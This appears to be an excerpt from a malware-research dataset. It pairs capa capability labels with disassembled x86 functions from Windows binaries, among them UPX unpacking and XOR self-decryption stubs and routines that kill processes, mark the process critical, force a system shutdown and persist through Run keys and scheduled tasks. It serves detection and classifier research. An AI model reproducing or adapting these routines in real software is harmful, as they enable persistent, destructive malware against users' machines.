joyce8/EMBER2024-capa huggingface dataset:
Function at 0x43f990
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x2c000]
push edi
or ebp, 0xffffffff
jmp 0x43f9b2
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x43f9b9
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x43f9a8
mov eax, 1
add ebx, ebx
jne 0x43f9cb
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x43f9c0
jne 0x43f9dc
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x43f9c0
xor ecx, ecx
sub eax, 3
jb 0x43f9f0
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x43fa62
mov ebp, eax
add ebx, ebx
jne 0x43f9fb
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x43fa08
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x43fa2c
inc ecx
add ebx, ebx
jne 0x43fa18
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x43fa0d
jne 0x43fa29
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x43fa0d
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x43fa4c
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x43fa3d
jmp 0x43f9ae
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x43fa4c
add edi, ecx
jmp 0x43f9ae
pop esi
mov edi, esi
mov ecx, 0x942
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x43fa6a
cmp byte [edi], 9
jne 0x43fa6a
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x43fa6f
lea edi, [esi + 0x3c000]
mov eax, dword [edi]
or eax, eax
je 0x43fae7
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x41710]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x41834]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x43fa9c
mov ecx, edi
jns 0x43facb
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x4183c]
or eax, eax
je 0x43fae1
mov dword [ebx], eax
add ebx, 4
jmp 0x43fab9
call dword [esi + 0x41838]
mov ebp, dword [esi + 0x41840]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x20f]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x43fb1b
sub esp, 0xffffff80
jmp 0x418caa
Function at 0x426600
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x16000]
push edi
jmp 0x42661a
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x426621
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x426610
mov eax, 1
add ebx, ebx
jne 0x426633
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x426628
jne 0x426644
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x426628
xor ecx, ecx
sub eax, 3
jb 0x426658
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x4266ca
mov ebp, eax
add ebx, ebx
jne 0x426663
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x426670
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x426694
inc ecx
add ebx, ebx
jne 0x426680
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x426675
jne 0x426691
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x426675
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x4266b4
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x4266a5
jmp 0x426616
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x4266b4
add edi, ecx
jmp 0x426616
pop esi
mov edi, esi
mov ecx, 0xa05
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x4266d2
cmp byte [edi], 6
jne 0x4266d2
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x4266d7
lea edi, [esi + 0x24000]
mov eax, dword [edi]
or eax, eax
je 0x42674f
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x279c8]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x27aa8]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x426704
mov ecx, edi
jns 0x426733
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x27ab0]
or eax, eax
je 0x426749
mov dword [ebx], eax
add ebx, 4
jmp 0x426721
call dword [esi + 0x27aac]
mov ebp, dword [esi + 0x27ab4]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x17f]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x426783
sub esp, 0xffffff80
jmp fcn.004193af
Function at 0x41647e
Capabilities:
Link many functions at runtime
Print debug messages

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x423458]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_EncodePointer]
push esi
push edi
mov dword [ebp - 0x1c], eax
xor esi, esi
mov eax, dword [ebp + 0xc]
push esi
mov dword [ebp - 0x20], eax
call ebx
mov edi, eax
mov dword [ebp - 0x18], edi
call fcn.00408cc5
mov dword [ebp - 0x14], eax
cmp dword [0x823294], esi
jne 0x416571
push 0x800
push esi
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov edi, eax
test edi, edi
jne 0x4164fe
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x57
jne 0x416651
push esi
push esi
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov edi, eax
test edi, edi
je 0x416651
push str.MessageBoxW
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x416651
push eax
call ebx
push str.GetActiveWindow
push edi
mov dword [0x823294], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push str.GetLastActivePopup
push edi
mov dword [0x823298], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push str.GetUserObjectInformationW
push edi
mov dword [0x82329c], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x8232a4], eax
test eax, eax
je 0x41656e
push str.GetProcessWindowStation
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x8232a0], eax
mov edi, dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
je 0x416596
mov eax, dword [ebp - 0x1c]
test eax, eax
je 0x416589
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringW]
cmp dword [ebp - 0x14], esi
je 0x4165ab
push 4
pop eax
jmp 0x416653
cmp dword [ebp - 0x14], esi
je 0x4165ab
push dword [0x823294]
call dword [sym.imp.KERNEL32.dll_DecodePointer]
push 3
jmp 0x416590
mov eax, dword [0x8232a0]
mov ebx, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, edi
je 0x416609
cmp dword [0x8232a4], edi
je 0x416609
push eax
call ebx
push dword [0x8232a4]
mov dword [ebp - 0x14], eax
call ebx
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x18], eax
test ecx, ecx
je 0x416609
test eax, eax
je 0x416609
call ecx
test eax, eax
je 0x4165fe
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call dword [ebp - 0x18]
test eax, eax
je 0x4165fe
test byte [ebp - 8], 1
jne 0x416609
mov edi, dword [ebp + 0x10]
or edi, 0x200000
jmp 0x416639
mov eax, dword [0x823298]
cmp eax, edi
je 0x416636
push eax
call ebx
test eax, eax
je 0x416636
call eax
mov esi, eax
test esi, esi
je 0x416636
mov eax, dword [0x82329c]
cmp eax, edi
je 0x416636
push eax
call ebx
test eax, eax
je 0x416636
push esi
call eax
mov esi, eax
mov edi, dword [ebp + 0x10]
push dword [0x823294]
call ebx
test eax, eax
je 0x416651
push edi
push dword [ebp - 0x20]
push dword [ebp - 0x1c]
push esi
call eax
jmp 0x416653
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00406e92
mov esp, ebp
pop ebp
ret
Function at 0x401c2a
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
nop
mov eax, dword [ebp + 8]
cmp eax, 2
je 0x401c54
mov eax, dword [ebp + 0xc]
mov ecx, dword [eax]
push ecx
mov eax, str.Usage:__s__binary_file__n
push eax
call sub.msvcrt.dll_printf
add esp, 8
mov eax, dword [ebp + 0xc]
add eax, 4
mov ecx, 0x402088
push ecx
mov ecx, dword [eax]
push ecx
call sub.msvcrt.dll_fopen
add esp, 8
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
cmp eax, 0
jne 0x401c92
mov eax, str.Error_opening_file__n
push eax
call sub.msvcrt.dll_printf
add esp, 4
mov eax, 1
jmp 0x401d80
mov eax, 2
push eax
mov eax, 0
push eax
mov eax, dword [ebp - 4]
push eax
call sub.msvcrt.dll_fseek
add esp, 0xc
mov eax, dword [ebp - 4]
push eax
call sub.msvcrt.dll_ftell
add esp, 4
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 4]
push eax
call sub.msvcrt.dll_rewind
add esp, 4
mov eax, dword [ebp - 0xc]
push eax
call sub.msvcrt.dll_malloc
add esp, 4
mov dword [ebp - 8], eax
mov eax, dword [ebp - 8]
cmp eax, 0
jne 0x401d04
mov eax, str.Memory_allocation_failed__n
push eax
call sub.msvcrt.dll_printf
add esp, 4
mov eax, dword [ebp - 4]
push eax
call sub.msvcrt.dll_fclose
add esp, 4
mov eax, 1
jmp 0x401d80
mov eax, dword [ebp - 4]
push eax
mov eax, dword [ebp - 0xc]
push eax
mov eax, 1
push eax
mov eax, dword [ebp - 8]
push eax
call sub.msvcrt.dll_fread
add esp, 0x10
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x10]
mov ecx, dword [ebp - 0xc]
cmp eax, ecx
je 0x401d5f
mov eax, str.Error_reading_file__n
push eax
call sub.msvcrt.dll_printf
add esp, 4
mov eax, dword [ebp - 8]
push eax
call sub.msvcrt.dll_free
add esp, 4
mov eax, dword [ebp - 4]
push eax
call sub.msvcrt.dll_fclose
add esp, 4
mov eax, 1
jmp 0x401d80
mov eax, dword [ebp - 4]
push eax
call sub.msvcrt.dll_fclose
add esp, 4
mov eax, dword [ebp - 0xc]
push eax
mov eax, dword [ebp - 8]
push eax
call fcn.004012b2
add esp, 8
mov eax, 0
leave
ret

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx
Function at 0x4028dc
Capabilities:
Accept command line arguments

Disassembly:
push ebx
push esi
push edi
add esp, 0xfffffef8
mov ebx, edx
mov esi, eax
mov eax, ebx
call fcn.00403a44
test esi, esi
jne 0x402912
push 0x105
lea eax, [esp + 4]
push eax
push 0
call sub.kernel32.dll_GetModuleFileNameA
mov ecx, eax
mov edx, esp
mov eax, ebx
call fcn.00403b34
jmp 0x402930
call sub.kernel32.dll_GetCommandLineA
mov edi, eax
mov edx, ebx
mov eax, edi
call fcn.004027f0
mov edi, eax
test esi, esi
je 0x402930
cmp dword [ebx], 0
je 0x402930
dec esi
jmp 0x402919
add esp, 0x108
pop edi
pop esi
pop ebx
ret

Function at 0x402e30
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
movzx eax, word [0x414020]
mov dword [ebp - 8], eax
lea eax, [ebp - 4]
push eax
push 1
push 0
push 0x402ec8
push 0x80000002
call sub.advapi32.dll_RegOpenKeyExA
test eax, eax
jne 0x402ea8
xor eax, eax
push ebp
push 0x402ea1
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 0xc], 4
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 8]
push eax
push 0
push 0
push 0x402ee4
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegQueryValueExA
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x402ea8
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegCloseKey
ret
mov ax, word [0x414020]
and ax, 0xffc0
mov dx, word [ebp - 8]
and dx, 0x3f
or ax, dx
mov word [0x414020], ax
mov esp, ebp
pop ebp
ret

Function at 0x4038c8
Capabilities:
Write file on windows

Disassembly:
push ecx
cmp byte [0x418044], 0
je 0x403929
cmp word [0x418218], 0xd7b2
jne 0x4038f1
cmp dword [0x418220], 0
jbe 0x4038f1
mov eax, 0x418214
call dword [0x418230]
push 0
lea eax, [esp + 4]
push eax
push 0x1e
push 0x414068
push 0xfffffffffffffff5
call sub.kernel32.dll_GetStdHandle
push eax
call sub.kernel32.dll_WriteFile
push 0
lea eax, [esp + 4]
push eax
push 2
push 0x403950
push 0xfffffffffffffff5
call sub.kernel32.dll_GetStdHandle
push eax
call sub.kernel32.dll_WriteFile
pop edx
ret
cmp byte [0x41402c], 0
jne 0x403945
push 0
push 0x414060
push 0x414068
push 0
call sub.user32.dll_MessageBoxA
pop edx
ret
Function at 0x405414
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
push ebx
xor edx, edx
mov dword [ebp - 0x10], edx
xor edx, edx
push ebp
push 0x40547a
push dword fs:[edx]
mov dword fs:[edx], esp
push 7
lea edx, [ebp - 0xb]
push edx
push 0x1004
push eax
call sub.kernel32.dll_GetLocaleInfoA
lea eax, [ebp - 0x10]
lea edx, [ebp - 0xb]
mov ecx, 7
call fcn.00403cb4
mov eax, dword [ebp - 0x10]
lea edx, [ebp - 4]
call fcn.00402a24
mov ebx, eax
cmp dword [ebp - 4], 0
je 0x405464
xor ebx, ebx
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x405481
lea eax, [ebp - 0x10]
call fcn.00403a44
ret

Function at 0x409618
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffff00
push ebx
push esi
mov esi, ecx
mov ebx, dword [ebp + 8]
push pe_nt_image_headers32
lea ecx, [ebp - 0x100]
push ecx
push edx
push eax
call sub.kernel32.dll_GetLocaleInfoA_1
test eax, eax
jle 0x409651
mov ecx, eax
dec ecx
lea edx, [ebp - 0x100]
mov eax, ebx
call fcn.00403b34
jmp 0x40965a
mov eax, ebx
mov edx, esi
call fcn.00403a98
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4

Function at 0x409664
Capabilities:
Get geographical location

Disassembly:
push ebx
push esi
push edi
push ecx
mov ebx, ecx
mov esi, edx
mov edi, eax
push 2
lea eax, [esp + 4]
push eax
push esi
push edi
call sub.kernel32.dll_GetLocaleInfoA_1
test eax, eax
jle 0x409685
mov al, byte [esp]
jmp 0x409687
mov eax, ebx
pop edx
pop edi
pop esi
pop ebx
ret

Function at 0x409d0c
Capabilities:
Write file on windows

Disassembly:
add esp, 0xfffffbbc
push 0x400
lea ecx, [esp + 0x48]
call 0x409b84
mov eax, dword [0x417514]
cmp byte [eax], 0
je 0x409d88
mov eax, dword [0x417434]
call fcn.004029a0
call fcn.0040271c
lea eax, [esp + 0x44]
push eax
lea eax, [esp + 0x48]
push eax
call sub.user32.dll_CharToOemA
push 0
lea eax, [esp + 4]
push eax
lea eax, [esp + 0x4c]
call fcn.00406fcc
push eax
lea eax, [esp + 0x50]
push eax
push 0xfffffffffffffff4
call sub.kernel32.dll_GetStdHandle_1
push eax
call sub.kernel32.dll_WriteFile_1
push 0
lea eax, [esp + 4]
push eax
push 2
push 0x409dd0
push 0xfffffffffffffff4
call sub.kernel32.dll_GetStdHandle_1
push eax
call sub.kernel32.dll_WriteFile_1
jmp 0x409dbe
push 0x40
lea eax, [esp + 8]
push eax
mov eax, dword [0x417410]
mov eax, dword [eax + 4]
push eax
mov eax, dword [0x418660]
call fcn.00404964
push eax
call sub.user32.dll_LoadStringA_1
push 0x2010
lea eax, [esp + 8]
push eax
lea eax, [esp + 0x4c]
push eax
push 0
call sub.user32.dll_MessageBoxA_1
add esp, 0x444
ret
Function at 0x40aa6c
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
push ebx
xor edx, edx
mov dword [ebp - 0xc], edx
xor edx, edx
push ebp
push 0x40aad0
push dword fs:[edx]
mov dword fs:[edx], esp
push 7
lea edx, [ebp - 7]
push edx
push 0x1004
push eax
call sub.kernel32.dll_GetLocaleInfoA_1
lea eax, [ebp - 0xc]
lea edx, [ebp - 7]
mov ecx, 7
call fcn.00403cb4
mov eax, dword [ebp - 0xc]
push eax
call sub.kernel32.dll_GetACP
mov edx, eax
pop eax
call fcn.00406b8c
mov ebx, eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40aad7
lea eax, [ebp - 0xc]
call fcn.00403a44
ret

Function at 0x41249c
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
push ebx
push esi
push edi
mov dword [ebp - 4], ecx
mov edi, edx
mov ebx, eax
mov al, byte [ebp + 8]
call fcn.004121f8
mov esi, eax
mov eax, dword [ebp + 0xc]
push eax
mov eax, dword [ebp - 4]
push eax
push esi
push 0
mov eax, edi
call fcn.00403ee0
push eax
mov eax, dword [ebx + 4]
push eax
call sub.advapi32.dll_RegSetValueExA
test eax, eax
je 0x4124fa
mov dword [ebp - 0xc], edi
mov byte [ebp - 8], 0xb
lea eax, [ebp - 0xc]
push eax
push 0
mov ecx, dword [0x4174a0]
mov dl, 1
mov eax, dword [0x41211c]
call fcn.00409ecc
call fcn.004034a4
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8

Function at 0x412978
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffeb8
push ebx
push esi
push edi
xor edx, edx
mov dword [ebp - 0x140], edx
mov dword [ebp - 0x148], edx
mov dword [ebp - 0x144], edx
mov dword [ebp - 0x130], edx
mov dword [ebp - 0x13c], edx
mov dword [ebp - 0x134], edx
mov dword [ebp - 0x138], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00403ed0
lea edi, [ebp - 0x12c]
xor eax, eax
push ebp
push 0x412ae6
push dword fs:[eax]
mov dword fs:[eax], esp
xor esi, esi
xor edx, edx
mov eax, 2
call fcn.004127e8
mov ebx, eax
mov dword [edi], 0x128
mov edx, edi
mov eax, ebx
call fcn.00412808
jmp 0x412ab2
lea eax, [ebp - 0x138]
lea edx, [edi + 0x24]
mov ecx, 0x104
call fcn.00403cb4
mov eax, dword [ebp - 0x138]
lea edx, [ebp - 0x134]
call fcn.00406ee4
mov eax, dword [ebp - 0x134]
lea edx, [ebp - 0x130]
call fcn.0040683c
mov eax, dword [ebp - 0x130]
push eax
lea edx, [ebp - 0x13c]
mov eax, dword [ebp - 4]
call fcn.0040683c
mov edx, dword [ebp - 0x13c]
pop eax
call fcn.00403e2c
je 0x412a92
lea eax, [ebp - 0x144]
lea edx, [edi + 0x24]
mov ecx, 0x104
call fcn.00403cb4
mov eax, dword [ebp - 0x144]
lea edx, [ebp - 0x140]
call fcn.0040683c
mov eax, dword [ebp - 0x140]
push eax
lea edx, [ebp - 0x148]
mov eax, dword [ebp - 4]
call fcn.0040683c
mov edx, dword [ebp - 0x148]
pop eax
call fcn.00403e2c
jne 0x412aa9
push 0
mov eax, dword [edi + 8]
push eax
push 0
push 1
call sub.kernel32.dll_OpenProcess
push eax
call sub.kernel32.dll_TerminateProcess
mov esi, eax
mov edx, edi
mov eax, ebx
call fcn.00412828
test eax, eax
jne 0x4129f3
push ebx
call sub.kernel32.dll_CloseHandle
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x412aed
lea eax, [ebp - 0x148]
mov edx, 7
call fcn.00403a68
lea eax, [ebp - 4]
call fcn.00403a44
ret
Function at 0x412af8
Capabilities:
Shutdown system

Disassembly:
push ebx
add esp, 0xffffffd8
mov ebx, eax
mov eax, dword [0x417588]
cmp dword [eax], 2
jne 0x412b72
push esp
push 0x28
call sub.kernel32.dll_GetCurrentProcess
push eax
call sub.advapi32.dll_OpenProcessToken
cmp eax, 1
sbb eax, eax
inc eax
test al, al
je 0x412b72
lea eax, [esp + 0xc]
push eax
push 0x412b88
push 0
call sub.advapi32.dll_LookupPrivilegeValueA
cmp eax, 1
sbb eax, eax
inc eax
mov dword [esp + 8], 1
mov dword [esp + 0x14], 2
mov edx, 0x10
xor ecx, ecx
mov dword [esp + 4], ecx
test al, al
je 0x412b72
lea eax, [esp + 4]
push eax
lea eax, [esp + 0x1c]
push eax
push edx
lea eax, [esp + 0x14]
push eax
push 0
mov eax, dword [esp + 0x14]
push eax
call sub.advapi32.dll_AdjustTokenPrivileges
push 0
push ebx
call sub.user32.dll_ExitWindowsEx
cmp eax, 1
sbb eax, eax
inc eax
add esp, 0x28
pop ebx
ret

Function at 0x412ba4
Capabilities:
Get token membership

Disassembly:
add esp, 0xfffffff8
lea eax, [esp + 4]
push eax
push 0
push 0
push 0
push 0
push 0
push 0
push 0x220
push 0x20
push 2
push 0x4143a4
call sub.advapi32.dll_AllocateAndInitializeSid
cmp eax, 1
sbb eax, eax
inc eax
mov byte [esp], al
cmp byte [esp], 0
je 0x412bf9
push esp
mov eax, dword [esp + 8]
push eax
push 0
call sub.advapi32.dll_CheckTokenMembership
test al, al
jne 0x412bef
mov byte [esp], 0
mov eax, dword [esp + 4]
push eax
call sub.advapi32.dll_FreeSid
mov al, byte [esp]
pop ecx
pop edx
ret

Function at 0x412c00
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffc0
push ebx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00403ed0
xor eax, eax
push ebp
push 0x412c73
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x40]
mov edx, 0x3c
call fcn.004058f8
mov dword [ebp - 0x40], 0x3c
mov dword [ebp - 0x3c], 0x40
mov eax, dword [ebp - 4]
call fcn.00403ee0
mov dword [ebp - 0x30], eax
mov eax, 0x412c84
mov dword [ebp - 0x34], eax
lea eax, [ebp - 0x40]
push eax
call sub.shell32.dll_ShellExecuteExA
cmp eax, 1
sbb ebx, ebx
inc ebx
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x412c7a
lea eax, [ebp - 4]
call fcn.00403a44
ret

Function at 0x412c8c
Capabilities:
Acquire debug privileges

Disassembly:
mov dl, 1
mov eax, 0x412ccc
call fcn.00412888
push 0
push 0
push 1
call sub.ntdll.dll_RtlSetProcessIsCritical
mov eax, 0x412ce8
call fcn.00412978
mov eax, 0x412cfc
call fcn.00412978
mov eax, 0x412d10
call fcn.00412978
ret
Function at 0x412de0
Capabilities:
Create process on windows
Find taskbar
Persist via run registry key
Schedule task via schtasks
Write and execute a file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
mov ecx, 4
push 0
push 0
dec ecx
jne 0x412de8
push ecx
push ebx
push esi
push edi
mov eax, 0x412d48
call fcn.00405674
xor eax, eax
push ebp
push 0x413005
push dword fs:[eax]
mov dword fs:[eax], esp
mov dl, 1
mov eax, dword [0x41217c]
call fcn.00412228
mov ebx, eax
mov edx, 0x80000001
mov eax, ebx
call fcn.004122c8
mov cl, 1
mov edx, 0x41301c
mov eax, ebx
call fcn.0041232c
mov edx, 0x413054
mov eax, ebx
call fcn.00412450
lea edx, [ebp - 0x14]
xor eax, eax
call fcn.004028dc
mov ecx, dword [ebp - 0x14]
mov edx, 0x413054
mov eax, ebx
call fcn.00412470
mov eax, ebx
call fcn.00412298
mov eax, ebx
call fcn.00402f90
call fcn.00412ba4
test al, al
jne 0x412e8d
push 0
push 0x1a3
push 0x111
push 0
push 0x413064
call sub.user32.dll_FindWindowA
push eax
call sub.user32.dll_PostMessageA
call fcn.00412ba4
test al, al
jne 0x412ecc
jmp 0x412eb6
push 0
push 0x1a3
push 0x111
push 0
push 0x413064
call sub.user32.dll_FindWindowA
push eax
call sub.user32.dll_PostMessageA
lea edx, [ebp - 0x18]
xor eax, eax
call fcn.004028dc
mov eax, dword [ebp - 0x18]
call fcn.00412c00
test al, al
je 0x412e98
call fcn.00412ba4
test al, al
je 0x412fea
mov dl, 1
mov eax, dword [0x41217c]
call fcn.00412228
mov ebx, eax
mov edx, 0x80000001
mov eax, ebx
call fcn.004122c8
mov cl, 1
mov edx, 0x41301c
mov eax, ebx
call fcn.0041232c
mov edx, 0x413054
mov eax, ebx
call fcn.00412450
mov eax, ebx
call fcn.00412298
mov eax, ebx
call fcn.00402f90
push 0
push 0x41307c
lea edx, [ebp - 0x20]
xor eax, eax
call fcn.004028dc
push dword [ebp - 0x20]
push 0x4130cc
lea eax, [ebp - 0x1c]
mov edx, 3
call fcn.00403da0
mov eax, dword [ebp - 0x1c]
call fcn.00403ee0
push eax
call sub.kernel32.dll_WinExec
mov esi, 0x4143ac
mov edi, 0x4188d4
mov ecx, 0xc00
rep movsd dword es:[edi], dword [esi]
push 0
push 0
push 3
push 0
push 3
push 0x10000000
push 0x4130d0
call sub.kernel32.dll_CreateFileA
mov ebx, eax
push 0
push 0x4188d0
push 0x3000
push 0x4188d4
push ebx
call sub.kernel32.dll_WriteFile_1
push ebx
call sub.kernel32.dll_CloseHandle
mov eax, 0x4188cc
mov edx, 0x4130ec
call fcn.00403a98
mov eax, dword [0x4188cc]
mov edx, 0x4130f8
call fcn.00403e2c
jne 0x412fc0
lea eax, [ebp - 0x24]
call fcn.00412c8c
mov eax, dword [0x4188cc]
mov edx, 0x413104
call fcn.00403e2c
jne 0x412fdb
mov eax, 6
call fcn.00412af8
mov eax, dword [0x4188cc]
mov edx, 0x413110
call fcn.00403e2c
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x41300c
lea eax, [ebp - 0x24]
mov edx, 5
call fcn.00403a68
ret

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx